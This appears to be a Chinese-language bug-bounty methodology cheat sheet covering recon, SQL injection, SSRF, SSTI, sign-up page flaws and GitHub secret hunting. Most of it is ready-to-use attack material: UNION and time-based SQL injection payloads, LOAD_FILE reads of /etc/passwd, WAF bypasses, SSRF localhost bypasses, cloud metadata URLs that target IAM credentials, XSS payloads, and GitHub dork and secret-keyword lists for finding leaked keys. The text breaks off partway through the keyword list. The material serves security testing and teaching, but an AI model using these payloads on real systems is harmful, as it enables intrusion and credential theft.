while read l; do ip=$(dig +short $l|grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b"|head -1);echo "[+] '$l' => $ip";echo $ip >> ips.txt;done < domains.txt

我们将使用 Masscan 来更快获得结果

Masscan -p1-65535 -iL ips.txt --max-rate 1800 -oG 输出.log

或者你可以使用Naabu、RustScan。

工具

AltDNS

DNSGen + ShuffleDNS

参考引用

https://pentester.land/cheatsheets/2018/11/14/subdomains-enumeration-cheatsheet.html

https://0xpatrik.com/subdomain-enumeration-2019/

https://0xpatrik.com/subdomain-enumeration-smarter/

https://rootsploit.com/bug-bounty-recon-faster-port-scan/

你可以做很多事情。现在仅提及社区标准方法。将根据方法的出现定期更新。

框架

自动化框架可用于自动化整个工作流程

SEF

SQLI

以下是一些检测 SQL 注入漏洞的快速方法，但方法不限于此。有各种技巧和工具。

查找 Sqli 的方法

1.使用Burpsuite：

1. Capture the request using burpsuite.
2. Send the request to burp scanner.
3. Proceed with active scan.
4. Once the scan is finished, look for SQL vulnerability that has been detected.
5. Manually try SQL injection payloads.
6. Use SQLMAP to speed up the process.

2.使用waybackurls和其他一些工具：

1. sublist3r -d target | tee -a domains (you can use other tools like findomain, assetfinder, etc.)
2. cat domains | httpx | tee -a alive
3. cat alive | waybackurls | tee -a urls
4. gf sqli urls >> sqli
5. sqlmap -m sqli --dbs --batch
6. use tamper scripts

更多详细信息https://twitter.com/El3ctr0Byt3s/status/1302706241240731649

3.使用启发式扫描获取隐藏参数：

1. Use subdomain enumeration tools on the domain.
2. Gather all urls using hakcrawler, waybackurls, gau for the domain and subdomains.
3. You can use the same method described above in 2nd point.
4. Use Arjun to scan for the hidden params in the urls. 
5. Use --urls flag to include all urls.
6. Check the params as https://domain.com?<hiddenparam>=<value>
7. Send request to file and process it through sqlmap.

4. 使用不受信任的输入或特殊字符生成错误：

1. Submit single quote character ' & look for errors.
2. Submit SQL specific query.
3. Submit Boolean conditions such as or 1=1 and or 1=0, and looking application's response.
4. Submit certain payloads that results in time delay.

POST 方法

1. 查找带有 order by 或 group by 或having 的总列数：

Submit a series of ORDER BY clause such as 

    ' ORDER BY 1 --
      ' ORDER BY 2 --
    ' ORDER BY 3 --

    and incrementing specified column index until an error occurs.

2. 使用联合运算符查找易受攻击的列：

Submit a series of UNION SELECT payloads.

      ' UNION SELECT NULL --
    ' UNION SELECT NULL, NULL --
    ' UNION SELECT NULL, NULL, NULL --

  (Using NULL maximizes the probability that the payload will succeed. NULL can be converted to every commonly used data type.)

要了解更详细的方法，请访问 portswigger 网站。https://portswigger.net/web-security/sql-injection/union-attacks

3. 使用concat()或group_concat()提取基本信息，如database()、version()、user()、UUID()

数据库版本

Oracle               SELECT banner FROM v$version
                     SELECT version FROM v$instance

Microsoft               SELECT @@version

PostgreSQL               SELECT version()

MySQL               SELECT @@version

数据库内容

Oracle        SELECT * FROM all_tables
          SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'

Microsoft       SELECT * FROM information_schema.tables
              SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'

PostgreSQL       SELECT * FROM information_schema.tables
              SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'

MySQL         SELECT * FROM information_schema.tables
              SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'

显示版本、用户和数据库名称

1	' AND 1=2 UNION ALL SELECT concat_ws(0x3a,version(),user(),database())

使用group_concat()函数，用于连接返回结果的所有行。

1	' union all select 1,2,3,group_concat(table_name),5,6 from information_schema.tables where table_schema=database()–

4. 使用load_file() 访问系统文件。然后进行进一步的利用：

1	' UNION ALL SELECT LOAD_FILE ('/ etc / passwd')

5.绕过WAF：

SQL查询前使用Null字节。
1
%00' UNION SELECT password FROM Users WHERE username-'xyz'--
使用SQL内嵌注释序列。
1
'/**/UN/**/ION/**/SEL/**/ECT/**/password/**/FR/OM/**/Users/**/WHE/**/RE/**/username/**/LIKE/**/'xyz'--
URL编码
1
2
3
4
5
  for example :
/ URL encoded to %2f
* URL encoded to %2a

Can also use double encoding, if single encoding doesn't works. Use hex encoding if the rest doesn't work.
更改大小写（大写/小写）

有关更多详细方法，请访问下面的链接。https://owasp.org/www-community/attacks/SQL_Injection_Bypassing_WAF

使用SQLMAP篡改脚本。它有助于绕过 WAF/IDS/IPS。

使用Atlas。它有助于建议 SQLMAP 的篡改脚本。https://github.com/m4ll0k/Atlas

JHaddix 关于 SQLMAP 篡改脚本的帖子。https://forum.bugcrowd.com/t/sqlmap-tamper-scripts-sql-injection-and-waf-bypass/423

6. 时间延误：

Oracle           dbms_pipe.receive_message(('a'),10)

Microsoft       WAITFOR DELAY '0:0:10'

PostgreSQL       SELECT pg_sleep(10)

MySQL           SELECT sleep(10)

7. 有条件的延误：

Oracle           SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual

Microsoft       IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10'

PostgreSQL       SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END

MySQL           SELECT IF(YOUR-CONDITION-HERE,sleep(10),'a')

有助于在查找漏洞方面占据上风的资源和工具：

Portswigger SQL Injection cheat sheet - https://portswigger.net/web-security/sql-injection/cheat-sheet

HTTPX - https://github.com/encode/httpx

GF patterns - https://github.com/1ndianl33t/Gf-Patterns

GF (Tomnomnom)- https://github.com/tomnomnom/gf

We can also use gau with waybackurls to fetch all urls.

Waybackurls - https://github.com/tomnomnom/waybackurls

Gau - https://github.com/lc/gau

Arjun - https://github.com/s0md3v/Arjun

Hakcrawler - https://github.com/hakluke/hakrawler

SSRF

什么是 SSRF？

在服务器端请求伪造 (SSRF) 攻击中，攻击者可以滥用服务器上的功能来读取或更新内部资源。攻击者可以提供或修改 URL，服务器上运行的代码将读取或提交数据。通过仔细选择 URL，攻击者可能能够读取服务器配置（例如 AWS 元数据）、连接到内部服务（例如支持 HTTP 的数据库）或对不打算公开的内部服务执行 POST 请求。

目标应用程序可以具有从 URL 导入数据、将数据发布到 URL 或以其他方式从可被篡改的 URL 读取数据的功能。攻击者通过提供完全不同的 URL 或操纵 URL 的构建方式（如路径遍历等）来修改对此功能的调用。

当被操纵的请求发送到服务器时，服务器端代码会获取被操纵的 URL 并尝试将数据读取到被操纵的 URL。通过选择目标 URL，攻击者可能能够从未直接暴露在互联网上的服务中读取数据：

云服务器元数据——AWS等云服务在http://169.254.169.254/上提供REST接口，可以提取重要的配置，有时甚至可以提取身份验证密钥

数据库 HTTP 接口— NoSQL 数据库（例如 MongoDB）在 HTTP 端口上提供 REST 接口。如果数据库预计仅供内部使用，则可能会禁用身份验证，攻击者可以提取内部 REST 接口的数据

文件— 攻击者可能能够使用 file:// URI 读取文件。攻击者还可以使用此功能将不受信任的数据导入到仅从受信任来源读取数据的代码中，从而规避输入验证。

它的影响是什么？

恶意行为者可以检索系统上任意文件的内容，从而导致敏感信息暴露（密码、源代码、机密数据等）。

敏感数据暴露

未经身份验证的请求

端口扫描或跨站点端口攻击 (XSPA)

协议走私

测试 SSRF 漏洞的要点：

始终确保您代表公共服务器而不是从浏览器向后端服务器发出请求。

要从服务器获取数据，请尝试使用 http://localhost/xyz/ 和 http://127.0.0.1/xyz。

服务器可能有防火墙保护，如果可能的话，总是尝试绕过防火墙。

确保请求来自服务器而不是来自本地主机。

去哪里寻找：

uri=
logout_redirect_uri=
url=
page=
proxy=
fwd=
forward=
u=
data=
page=
url=	
ret=	
r2=	
img=	
u	
return	
r	
URL	
next	
redirect	
redirectBack	
AuthState	
referer	
redir	
l	
aspxerrorpath	
image_path	
ActionCodeURL	
return_url	0
link	
q	
location	
ReturnUrl	
uri	
referrer	
returnUrl
forward	
file
rb	
end_display	
urlact	
from	
goto	
path	
redirect_url	
old	
pathlocation	
successTarget	
returnURL	
urlsito	
newurl	
Url	
back	
retour	
odkazujuca
r_link	
cur_url	
H_name	
ref	
topic	
resource	
returnTo	
home	0.2%
node	0.2%
sUrl	0.2%
href	0.2%
linkurl	0.2%
returnto	0.2%
redirecturl	0.2%
SL	0.2%
st	0.2%
errorUrl	0.2%
media	0.2%
destination	0.2%
targeturl	0.2%
return_to	0.2%
cancel_url	0.2%
doc	0.2%
GO	0.2%
ReturnTo	0.2%
anything	0.2%
FileName	0.2%
logoutRedirectURL	0.2%
list	0.2%
startUrl	0.2%
service	0.2%
redirect_to	0.2%
end_url	0.2%
_next	0.2%
noSuchEntryRedirect	0.2%
context	0.2%
returnurl	0.2%
ref_url	0.2%

1-SSRF针对服务器本身的攻击

在针对服务器本身的 SSRF 攻击中，攻击者会诱导应用程序通过环回网络接口向托管该应用程序的服务器发出 HTTP 请求。这通常涉及提供带有主机名的 URL，例如 127.0.0.1（指向环回适配器的保留 IP 地址）或 localhost。

基本本地主机有效负载：

http://127.0.0.1:port
http://localhost:port
https://127.0.0.1:port
https://localhost:port
http://[::]:port
http://0000::1:port
http://[0:0:0:0:0:ffff:127.0.0.1]
http://0/
http://127.1
http://127.0.1

重现步骤：

1-尝试使用burpcollab检查服务器是否从内部系统获取数据（与后端交互）

2-向本地主机发送请求

3-尝试以未经身份验证的用户身份执行敏感操作

**Bypasses for Localhost

1-**Bypass using HTTPS
https://127.0.0.1/
https://localhost/

2-Bypass localhost with [::]
http://[::]:80/
http://[::]:25/ SMTP
http://[::]:22/ SSH
http://[::]:3128/ Squid
http://0000::1:80/
http://0000::1:25/ SMTP
http://0000::1:22/ SSH
http://0000::1:3128/ Squid

3-Bypass localhost with a domain redirection
http://spoofed.burpcollaborator.net
http://localtest.me
http://customer1.app.localhost.my.company.127.0.0.1.nip.io
http://mail.ebc.apple.com redirect to 127.0.0.6 == localhost
http://bugbounty.dod.network redirect to 127.0.0.2 == localhost

4-Bypass localhost with CIDR
http://127.127.127.127
http://127.0.1.3
http://127.0.0.0

5-Bypass using a decimal IP location
http://0177.0.0.1/
http://2130706433/ = http://127.0.0.1
http://3232235521/ = http://192.168.0.1
http://3232235777/ = http://192.168.1.1
http://2852039166/  = http://169.254.169.254

6-Bypass using IPv6/IPv4 Address Embedding
http://[0:0:0:0:0:ffff:127.0.0.1]

7-Bypass using malformed urls
localhost:+11211aaa
localhost:00011211aaaa

8-Bypass using rare address
http://0/
http://127.1
http://127.0.1

9-Bypass using URL encoding
http://127.0.0.1/%61dmin
http://127.0.0.1/%2561dmin

10-Bypass using tricks combination
http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
urllib2 : 1.1.1.1
requests + browsers : 2.2.2.2
urllib : 3.3.3.3

11-Bypass using enclosed alphanumerics
http://ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ = example.com

List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿

12-Bypass filter_var() php function
0://evil.com:80;http://google.com:80/

13-Bypass against a weak parser
http://127.1.1.1:80\@127.2.2.2:80/
http://127.1.1.1:80\@@127.2.2.2:80/
http://127.1.1.1:80:\@@127.2.2.2:80/
http://127.1.1.1:80#\@127.2.2.2:80/

2-云实例的 SSRF URL

AWS
http://instance-data
http://169.254.169.254
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/iam/security-credentials/PhotonInstance
http://169.254.169.254/latest/meta-data/ami-id
http://169.254.169.254/latest/meta-data/reservation-id
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-keys/
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key
http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy
http://169.254.169.254/latest/meta-data/iam/security-credentials/s3access
http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/iam/security-credentials/ISRM-WAF-Role

Google Cloud
http://169.254.169.254/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/
http://metadata/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/hostname
http://metadata.google.internal/computeMetadata/v1/instance/id
http://metadata.google.internal/computeMetadata/v1/project/project-id

Azure:
http://169.254.169.254/metadata/v1/maintenance
http://169.254.169.254/metadata/instance?api-version=2017-04-02
http://169.254.169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text

IPv6 Tests:
http://[::ffff:169.254.169.254]
http://[0:0:0:0:0:ffff:169.254.169.254]

ECS Task: 
http://169.254.170.2/v2/credentials/

Digital Ocean:
http://169.254.169.254/metadata/v1.json
http://169.254.169.254/metadata/v1/ 
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data
http://169.254.169.254/metadata/v1/hostname
http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/address

Packetcloud:
https://metadata.packet.net/userdata

Oracle Cloud:
http://169.254.169.254/opc/v1/instance/

Alibaba Cloud:
http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/instance-id
http://100.100.100.200/latest/meta-data/image-id
http://100.100.100.200/latest/user-data

影响：

攻击者可以通过隧道进入内部网络并访问敏感的内部数据，例如 AWS 元数据信息。

Blind SSRF

Blind SSRF 是指不直接向用户显示枚举数据的 SSRF，因此称为盲 SSRF。

标头注入：

找到它们的一种方法是将您的 burp 协作者域插入引用者标头（也称为主机标头注入）中。
1
2
3
4
GET /HTTP 1.1
Host: site.tld
User Agent: Firefox
Referrer: https://your_collaborator_instance.com
许多组织使用服务来分析哪个 URL 或服务将访问者引向其网站。这种类型的攻击的执行取决于底层服务，在我的例子中，服务器运行在 aws ec2 实例上，但我无法访问它的管理面板（192.168.192.168），因为它只对我执行查找，但不执行允许任何超出此范围的事情。在您遇到的不同网站和服务上尝试一下，您可能会很幸运。

我会列出更多，如果您发现了，请在这里列出，以便其他人从中受益。

SSTI

SSTI 寻找攻击向量

来源

https://twitter.com/jae_hak99/status/1331967876417327104?s=20

工具

tplmap

注册功能（Sign Up Functionality）

实现注册功能：

我们将以学校网站（ school.org ）为例来学习注册功能的实现：在此示例中，学生需要注册到school.org才能访问其学术教育资源。school.org的用户必须能够注册为会员，从而能够访问该网站的内容。

因此，学校可以通过两种方式实施注册流程：

手动注册 ——基于用户提供一系列特定用户信息进行注册。它通常包括姓名、电子邮件、密码、确认密码等形式，如下图所示。

社交注册 /OAuth — 通过Facebook 、Twitter或Google等社交媒体平台通过集成社交媒体源进行注册，用户可以登录第三方网站，而不是专门为该网站创建新帐户。

在本博客中，我将讨论手动注册中的错误。让我们为我们的下一个博客主题添加社交注册/OAuth。

利用注册功能：

重复注册/覆盖现有用户

重复注册是指应用程序允许我们使用相同的电子邮件地址、用户名或电话号码进行注册或注册。根据所执行的攻击类型，它可能会产生严重后果。

*重现步骤：*

在应用程序中创建第一个帐户，使用电子邮件abc@gmail.com和密码。

注销帐户并使用相同的电子邮件地址和不同的密码创建另一个帐户。

在某些情况下，您甚至可以尝试更改电子邮件大小写，例如从abc@gmail.com更改为

完成创建过程——并看到它成功

现在返回并尝试使用电子邮件和新密码登录。您已成功登录。

https://hackerone.com/reports/187714

https://shahjerry33.medium.com/duplicate-registration-the-thaving-twins-883dfee59eaf

https://blog.securitybreached.org/2020/01/22/用户帐户接管-via-signup-feature-bug-bounty-poc

注册页面中的名称/密码字段中的 DOS

通过发送非常长的字符串（100000 个字符），可能会对服务器造成拒绝服务攻击。这可能会导致网站不可用或无响应。通常此问题是由存在漏洞的字符串哈希实现引起的。当发送长字符串时，字符串哈希过程将导致CPU和内存耗尽。

*重现步骤：*

去注册表格。

填写表格并输入一长串密码

单击 Enter，如果它容易受到攻击，您将收到 500 Internal Server 错误。

https://shahjerry33.medium.com/long-string-dos-6ba8ceab3aa0

https://hackerone.com/reports/738569

https://hackerone.com/reports/223854

用户名、注册帐户名中的跨站脚本（XSS）

跨站脚本( XSS ) 是一种安全漏洞，通常出现在接受用户输入的网站和/或 Web 应用程序中。这会将恶意代码注入目标网站的内容中，使其成为网站的一部分，从而影响可能访问或查看该网站的受害者。

现在，为了测试 XSS 的注册页面，我们可以简单地在用户名、电子邮件、密码等字段中插入 XSS 有效负载。

用户名字段的有效负载：**<svg/onload=confirm(1)>**

电子邮件字段的有效负载：“><svg/onload=confirm(1)>”@xy

https://hackerone.com/reports/196989

https://hackerone.com/reports/470206

https://hackerone.com/reports/119090

注册页面无速率限制

速率限制算法用于根据会话缓存中的信息来检查是否必须限制用户会话（或 IP 地址）。在注册页面测试速率限制是一个好主意。

影响可以很好地解释。如果注册页面没有速率限制，恶意用户可能会生成成百上千个虚假帐户，导致应用程序数据库中充满虚假帐户，这可能会以多种方式影响业务。

您可以使用 Burp Intruder 轻松测试它。

捕获注册请求并将其发送给 Intruder。

添加不同的电子邮件作为有效负载。

启动Intruder，并检查是否返回200 OK。

https://hackerone.com/reports/905692

https://hackerone.com/reports/97609

https://hackerone.com/reports/262830

电子邮件验证不充分

电子邮件验证不足意味着应用程序未验证电子邮件 ID 或验证机制太弱而无法绕过。您可以使用以下一些常见方法轻松绕过电子邮件验证，例如：

强制浏览。（直接导航到验证电子邮件后出现的文件）

响应或状态代码操纵。（将 403 等错误响应状态替换为 200 可能很有用）

绕过的方法还有很多。提示：只需谷歌一下即可。

注册后绕过电子邮件验证：
1
2
3
4
5
6
7
1. Sing up on the web application as attacker@mail.com
2. You will receive a confirmation email on attacker@mail.com, do not open that link now.
3. The application may ask for confirming your email, check if it allows navigating to account settings page.
4. On settings page check if you can change the email.
5. If allowed, change the email to victim@mail.com.
6. Now you will be asked to confirm victim@mail.com by opening the confirmation link received on victim@mail.com, insted of opening the new link go to attacker@mail.com inbox and open the previous received link.
7. If the application verifies vitim@mail.com by using perivious verification link received on attacker mail, then this is a email verification bypass. 
https://hackerone.com/reports/1040047

https://hackerone.com/reports/617896

https://hackerone.com/reports/737169

路径覆盖

如果应用程序允许用户使用直接路径 /{username} 检查他们的个人资料，则始终尝试使用系统保留的文件名进行注册，例如index.php、signup.php、login.php等。在某些情况下，这里发生的情况是，当您使用用户名注册时：index.php现在访问 target.tld/index.php 时，您的个人资料将出现并占据应用程序的 index.php 页面。同样，如果攻击者能够使用用户名注册login.php，想象一下登录页面被接管。

https://infosecwriteups.com/ological-flaw-resulting-path-hijacking-dd4d1e1e832f

参考

https://twitter.com/kushagrasarathe/status/1385111472385060867?s=19

敏感信息泄露（Sensitive Info Leaks）

Github 侦查方式

使用 Github 我们可以找到敏感信息。

Step

检查 github 上的公司名称以获取 API 密钥或密码。

从 linkedin 和 Twitter 枚举该公司的员工，并检查他们在 github 上的存储库是否有敏感信息。

检查主网站和子域的源代码，以获取 html 注释或任何地方的 github 链接。使用ctl-F 搜索并搜索关键字 github

工具和参考

https://github.com/hisxo/gitGraber

https://github.com/tillson/git-hound

https://securitytrails.com/blog/github-dorks

https://github.com/BishopFox/GitGot

报告

Important information leaked on Github

Github Token Leaked publicly for https://github.com/mopub

CircleCI token in github repo allows for access to sensitive build information

Information Leak - Github - JMS Information

Leaked artifactory_key, artifactory_api_key, and gcloud refresh_token via GitHub.

Github Token Leaked publicly for https://github.sc-corp.net

GitHub Dork 列表：

用于查找文件的 GitHub Dorks

filename:manifest.xml

filename:travis.yml

filename:vim_settings.xml

filename:database

filename:prod.exs NOT prod.secret.exs

filename:prod.secret.exs

filename:.npmrc _auth

filename:.dockercfg auth

filename:WebServers.xml

filename:.bash_history

filename:sftp-config.json

filename:sftp.json path:.vscode

filename:secrets.yml password

filename:.esmtprc password

filename:passwd path:etc

filename:dbeaver-data-sources.xml

path:sites databases password

filename:config.php dbpasswd

filename:prod.secret.exs

filename:configuration.php JConfig password

filename:.sh_history

shodan_api_key language:python

filename:shadow path:etc

JEKYLL_GITHUB_TOKEN

filename:proftpdpasswd

filename:.pgpass

filename:idea14.key

filename:hub oauth_token

HEROKU_API_KEY language:json

HEROKU_API_KEY language:shell

SF_USERNAME salesforce

filename:.bash_profile aws

extension:json api.forecast.io

filename:.env MAIL_HOST=smtp.gmail.com

filename:wp-config.php

extension:sql mysql dump

filename:credentials aws_access_key_id

filename:id_rsa or filename:id_dsa

用于查找语言的 GitHub Dorks

language:python username

language:php username

language:sql username

language:html password

language:perl password

language:shell username

language:java api

HOMEBREW_GITHUB_API_TOKEN language:shell

用于查找 API 密钥、令牌和密码的 GiHub Dorks

api_key

“api keys”

authorization_bearer:

oauth

auth

authentication

client_secret

api_token:

“api token”

client_id

password

user_password

user_pass

passcode

client_secret

secret

password hash

OTP

user auth

GitHub Dorks 用于查找用户名

user:name (user:admin)

org:name (org:google type:users)

in:login ( in:login)

in:name ( in:name)

fullname:firstname lastname (fullname: )

in:email (data in:email)

GitHub Dorks for Finding Information using Dates

created:<2012–04–05

created:>=2011–06–12

created:2016–02–07 location:iceland

created:2011–04–06..2013–01–14 in:username

GitHub Dorks 使用扩展查找信息

extension:pem private

extension:ppk private

extension:sql mysql dump

extension:sql mysql dump password

extension:json api.forecast.io

extension:json mongolab.com

extension:yaml mongolab.com

[WFClient] Password= extension:ica

extension:avastlic support.avast.com

extension:json googleusercontent client_secret

Github Dorks All

#=
#N=
&key=
&noexp=
&password=
&pr=
&project=
&query=
(xox[p|b|o|a]-[0-9]{12}-[0-9]{12}-[0-9]{12}-[a-z0-9]{32})
(\"client_secret\":\"[a-zA-Z0-9-_]{24}\")
-----BEGIN DSA PRIVATE KEY-----
-----BEGIN EC PRIVATE KEY-----
-----BEGIN OPENSSH PRIVATE KEY-----
-----BEGIN PGP PRIVATE KEY BLOCK-----
-----BEGIN RSA PRIVATE KEY-----
--branch=
--closure_entry_point=
--host=
--ignore-ssl-errors=
--org=
--password=
--port=
--token=
--username=
-DdbUrl=
-Dgpg.passphrase=
-Dmaven.javadoc.skip=
-DSELION_BROWSER_RUN_HEADLESS=
-DSELION_DOWNLOAD_DEPENDENCIES=
-DSELION_SELENIUM_RUN_LOCALLY=
-DSELION_SELENIUM_USE_GECKODRIVER=
-DskipTests=
-Dsonar.login=
-Dsonar.organization=
-Dsonar.projectKey=
-e=
-p=
-u=
0dysAuQ5KQk=
0GITHUB_TOKEN=
0HB_CODESIGN_GPG_PASS=
0HB_CODESIGN_KEY_PASS=
0KNAME=
0NC6O0ThWq69BcWmrtbD2ev0UDivbG8OQ1ZsSDm9UqVA=
0PUSHOVER_TOKEN=
0PUSHOVER_USER=
0PYg1Q6Qa8BFHJDZ0E8F4thnPFDb1fPnUVIgfKmkE8mnLaQoO7JTHuvyhvyDA=
0VIRUSTOTAL_APIKEY=
0YhXFyQ=
1ewh8kzxY=
1LRQzo6ZDqs9V9RCMaGIy2t4bN3PAgMWdEJDoU1zhuy2V2AgeQGFzG4eanpYZQqAp6poV02DjegvkXC7cA5QrIcGZKdrIXLQk4TBXx2ZVigDio5gYLyrY=
2bS58p9zjyPk7aULCSAF7EUlqT041QQ5UBJV7gpIxFW1nyD6vL0ZBW1wA1k1PpxTjznPA=
3FvaCwO0TJjLU1b0q3Fc=
47WombgYst5ZcnnDFmUIYa7SYoxZAeCsCTySdyTso02POFAKYz5U=
4QzH4E3GyaKbznh402E=
5oLiNgoXIh3jFmLkXfGabI4MvsClZb72onKlJs8WD7VkusgVOrcReD1vkAMv7caaO4TqkMAAuShXiks2oFI5lpHSz0AE1BaI1s6YvwHQFlxbSQJprJd4eeWS9l78mYPJhoLRaWbvf0qIJ29mDSAgAJ7XI=
6EpEOjeRfE=
6mSMEHIauvkenQGZlBzkLYycWctGml9tRnIpbqJwv0xdrkTslVwDQU5IEJNZiTlJ2tYl8og=
6tr8Q=
7h6bUpWbw4gN2AP9qoRb6E6ITrJPjTZEsbSWgjC00y6VrtBHKoRFCU=
7QHkRyCbP98Yv2FTXrJFcx9isA2viFx2UxzTsvXcAKHbCSAw=
8FWcu69WE6wYKKyLyHB4LZHg=
8o=
9OcroWkc=
a=
aaaaaaa=
ABC=
acceptInsecureCerts=
acceptSslCerts=
ACCESS KEY ID    =
accessibilityChecks=
ACCESSKEY=
ACCESSKEYID=
ACCESS_KEY=
ACCESS_KEY_ID=
ACCESS_KEY_SECRET=
ACCESS_SECRET=
ACCESS_TOKEN=
ACCOUNT_SID=
ADMIN_EMAIL=
ADZERK_API_KEY=
AGFA=
AiYPFLTRxoiZJ9j0bdHjGOffCMvotZhtc9xv0VXVijGdHiIM=
AKIA[0-9A-Z]{16}
ALARM_CRON=
ALGOLIA_ADMIN_KEY_1=
ALGOLIA_ADMIN_KEY_2=
ALGOLIA_ADMIN_KEY_MCM=
ALGOLIA_API_KEY=
ALGOLIA_API_KEY_MCM=
ALGOLIA_API_KEY_SEARCH=
ALGOLIA_APPLICATION_ID=
ALGOLIA_APPLICATION_ID_1=
ALGOLIA_APPLICATION_ID_2=
ALGOLIA_APPLICATION_ID_MCM=
ALGOLIA_APP_ID=
ALGOLIA_APP_ID_MCM=
ALGOLIA_SEARCH_API_KEY=
ALGOLIA_SEARCH_KEY=
ALGOLIA_SEARCH_KEY_1=
ALIAS_NAME=
ALIAS_PASS=
ALICLOUD_ACCESS_KEY=
ALICLOUD_SECRET_KEY=
amazon_bucket_name=
AMAZON_SECRET_ACCESS_KEY=
AMQP://GUEST:GUEST@=
ANACONDA_TOKEN=
ANALYTICS=
ANDROID_DOCS_DEPLOY_TOKEN=
android_sdk_license=
android_sdk_preview_license=
ANSIBLE_VAULT_PASSWORD=
aos_key=
aos_sec=
APIARY_API_KEY=
APIGW_ACCESS_TOKEN=
API_KEY=
API_KEY_MCM=
API_KEY_SECRET=
API_KEY_SID=
API_SECRET=
appClientSecret=
APPLE_ID_PASSWORD=
APPLE_ID_USERNAME=
applicationCacheEnabled=
APPLICATION_ID=
APPLICATION_ID_MCM=
APP_BUCKET_PERM=
APP_ID=
APP_NAME=
APP_REPORT_TOKEN_KEY=
APP_SECRETE=
APP_SETTINGS=
APP_TOKEN=
ARGOS_TOKEN=
ARTIFACTORY_KEY=
ARTIFACTORY_USERNAME=
ARTIFACTS
ARTIFACTS_AWS_ACCESS_KEY_ID=
ARTIFACTS_AWS_SECRET_ACCESS_KEY=
ARTIFACTS_BUCKET=
ARTIFACTS_KEY=
ARTIFACTS_SECRET=
ASSISTANT_IAM_APIKEY=
ATOKEN=
AURORA_STRING_URL=
AUTH0_API_CLIENTID=
AUTH0_API_CLIENTSECRET=
AUTH0_AUDIENCE=
AUTH0_CALLBACK_URL=
AUTH0_CLIENT_ID=
AUTH0_CLIENT_SECRET=
AUTH0_CONNECTION=
AUTH0_DOMAIN=
AUTH=
AUTHOR_EMAIL_ADDR=
AUTHOR_NPM_API_KEY=
AUTH_TOKEN=
AVbcnrfDmp7k=
AWS-ACCT-ID=
AWS-KEY=
AWS-SECRETS=
AWS
AWS.config.accessKeyId=
AWS.config.secretAccessKey=
AWSACCESSKEYID=
AWSCN_ACCESS_KEY_ID=
AWSCN_SECRET_ACCESS_KEY=
AWSSECRETKEY=
AWS_ACCESS=
AWS_ACCESS_KEY=
AWS_ACCESS_KEY_ID=
AWS_CF_DIST_ID=
AWS_DEFAULT
AWS_DEFAULT_REGION=
AWS_S3_BUCKET=
AWS_SECRET=
AWS_SECRET_ACCESS_KEY=
AWS_SECRET_KEY=
AWS_SES_ACCESS_KEY_ID=
AWS_SES_SECRET_ACCESS_KEY=
aX5xTOsQFzwacdLtlNkKJ3K64=
B2_ACCT_ID=
B2_APP_KEY=
B2_BUCKET=
baseUrlTravis=
bintrayKey=
bintrayUser=
BINTRAY_APIKEY=
BINTRAY_API_KEY=
BINTRAY_GPG_PASSWORD=
BINTRAY_KEY=
BINTRAY_TOKEN=
BINTRAY_USER=
BLhLRKwsTLnPm8=
BLUEMIX
BLUEMIX_ACCOUNT=
BLUEMIX_API_KEY=
BLUEMIX_AUTH=
BLUEMIX_NAMESPACE=
BLUEMIX_ORG=
BLUEMIX_ORGANIZATION=
BLUEMIX_PASS=
BLUEMIX_PASSWORD=
BLUEMIX_PASS_PROD=
